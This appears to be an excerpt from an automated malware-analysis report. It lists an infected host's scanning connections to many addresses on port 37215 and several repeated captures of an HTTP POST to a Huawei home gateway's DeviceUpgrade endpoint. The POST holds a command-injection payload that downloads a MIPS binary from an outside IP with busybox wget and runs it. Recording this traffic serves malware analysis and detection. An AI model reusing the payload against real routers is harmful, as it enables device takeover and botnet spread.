              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.246.82.70:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.238.242.116:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.254.169.214:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.84.101.51:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.196.200.93:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.0.184.247:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.156.167.148:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.3.226.96:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.57.42.11:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.245.249.162:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.181.95.220:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.153.139.173:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.108.154.82:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.28.39.46:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.239.75.4:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.232.123.169:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.193.24.130:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.96.50.161:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.110.53.175:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.131.135.8:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.9.75.78:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.197.209.177:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.116.93.41:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.29.127.57:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.1.111.23:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.105.175.101:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.52.239.43:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.231.128.25:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.69.76.33:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.112.1.216:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.108.30.60:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.97.5.66:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.1.5.19:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.253.18.78:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.99.237.79:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.25.80.100:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.85.122.167:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.140.17.240:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.211.142.254:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.167.139.135:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.212.59.154:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.63.240.236:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.126.236.137:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.236.184.135:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.221.202.213:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.22.190.90:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.28.209.115:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.186.245.138:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.131.68.66:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.15.255.17:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.46.5.11:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.185.163.153:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.110.56.119:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.135.132.5:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.108.41.140:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.245.145.35:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.82.187.27:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.135.96.63:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.209.40.206:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.22.105.12:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.60.2.193:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.30.233.235:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.246.188.228:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.51.197.123:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.131.220.119:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.160.194.164:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.64.113.34:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.229.15.231:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.164.171.113:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.26.132.93:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.237.164.89:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.196.117.188:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.81.115.97:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.178.6.141:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.67.166.242:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.236.185.33:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.174.253.106:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 197.156.139.128:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.115.236.122:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.75.33.180:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.100.57.183:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.230.206.143:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.92.82.159:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 156.76.49.7:37215
              Source: global trafficTCP traffic: 192.168.2.23:40597 -> 41.165.48.221:37215
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 